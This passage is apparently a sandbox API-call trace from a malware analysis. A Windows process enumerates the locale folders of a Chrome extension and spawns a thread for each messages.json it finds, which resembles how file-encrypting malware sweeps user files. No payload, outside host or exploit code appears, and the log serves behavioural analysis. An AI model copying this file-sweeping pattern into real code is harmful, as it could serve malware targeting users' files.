_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca" [0180.244] wcscat (in: _Dest=0xd4a7498, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\" [0180.245] wcscat (in: _Dest=0xd4a7498, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*" [0180.245] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9050f8 [0180.245] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942230 [0181.154] wcscmp (_String1=".", _String2=".") returned 0 [0181.154] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.154] wcscmp (_String1="..", _String2=".") returned 1 [0181.154] wcscmp (_String1="..", _String2="..") returned 0 [0181.155] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.155] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.155] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x9400e8 [0181.155] wcscpy (in: _Dest=0x9400e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca" [0181.155] wcscat (in: _Dest=0x9400e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\" [0181.155] wcscat (in: _Dest=0x9400e8, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" [0181.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9400e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a38 [0181.974] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9050f8 | out: lpFindFileData=0x9050f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.974] FindClose (in: hFindFile=0x942230 | out: hFindFile=0x942230) returned 1 [0181.974] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9050f8) returned 1 [0181.974] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7498) returned 1 [0181.974] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd499170) returned 1 Thread: id = 7302 os_tid = 0x1378 [0180.245] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a75d0 [0180.245] wcscpy (in: _Dest=0xd4a75d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs" [0180.245] wcscat (in: _Dest=0xd4a75d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\" [0180.246] wcscat (in: _Dest=0xd4a75d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*" [0180.246] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x906908 [0180.246] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941cf0 [0181.155] wcscmp (_String1=".", _String2=".") returned 0 [0181.155] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.155] wcscmp (_String1="..", _String2=".") returned 1 [0181.155] wcscmp (_String1="..", _String2="..") returned 0 [0181.155] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.155] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.155] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940240 [0181.156] wcscpy (in: _Dest=0x940240, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs" [0181.156] wcscat (in: _Dest=0x940240, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\" [0181.156] wcscat (in: _Dest=0x940240, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" [0181.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1564 [0181.976] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.976] FindClose (in: hFindFile=0x941cf0 | out: hFindFile=0x941cf0) returned 1 [0181.976] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x906908) returned 1 [0181.976] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a75d0) returned 1 [0181.976] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4992a8) returned 1 Thread: id = 7303 os_tid = 0x137c [0180.246] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7708 [0180.246] wcscpy (in: _Dest=0xd4a7708, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da" [0180.246] wcscat (in: _Dest=0xd4a7708, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\" [0180.246] wcscat (in: _Dest=0xd4a7708, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*" [0180.247] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912e30 [0180.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x912e30 | out: lpFindFileData=0x912e30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942470 [0181.156] wcscmp (_String1=".", _String2=".") returned 0 [0181.156] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x912e30 | out: lpFindFileData=0x912e30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.156] wcscmp (_String1="..", _String2=".") returned 1 [0181.156] wcscmp (_String1="..", _String2="..") returned 0 [0181.156] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x912e30 | out: lpFindFileData=0x912e30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.156] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.156] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.156] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x940398 [0181.156] wcscpy (in: _Dest=0x940398, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da" [0181.156] wcscat (in: _Dest=0x940398, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\" [0181.156] wcscat (in: _Dest=0x940398, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" [0181.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x940398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8 [0181.977] FindNextFileW (in: hFindFile=0x942470, lpFindFileData=0x912e30 | out: lpFindFileData=0x912e30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0181.978] FindClose (in: hFindFile=0x942470 | out: hFindFile=0x942470) returned 1 [0181.978] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912e30) returned 1 [0181.978] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7708) returned 1 [0181.978] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4993e0) returned 1 Thread: id = 7304 os_tid = 0x1380 [0180.247] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12a) returned 0xd4a7840 [0180.247] wcscpy (in: _Dest=0xd4a7840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de" [0180.247] wcscat (in: _Dest=0xd4a7840, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\" [0180.247] wcscat (in: _Dest=0xd4a7840, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*" [0180.248] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x90fba8 [0180.248] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941d30 [0181.157] wcscmp (_String1=".", _String2=".") returned 0 [0181.157] FindNextFileW (in: hFindFile=0x941d30, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.157] wcscmp (_String1="..", _String2=".") returned 1 [0181.157] wcscmp (_String1="..", _String2="..") returned 0 [0181.157] FindNextFileW (in: hFindFile=0x941d30, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.157] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.157] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.157] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x142) returned 0x9404f0 [0181.157] wcscpy (in: _Dest=0x9404f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de" [0181.157] wcscat (in: _Dest=0x9404f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\" [0181.157] wcscat (in: _Dest=0x9404f0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" [0181.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9404f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0181.982] FindNextFileW (in: hFindFile=0x941d30, lpFindFileData=0x90fba8 | out: lpFindFileData=0x90fba8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, 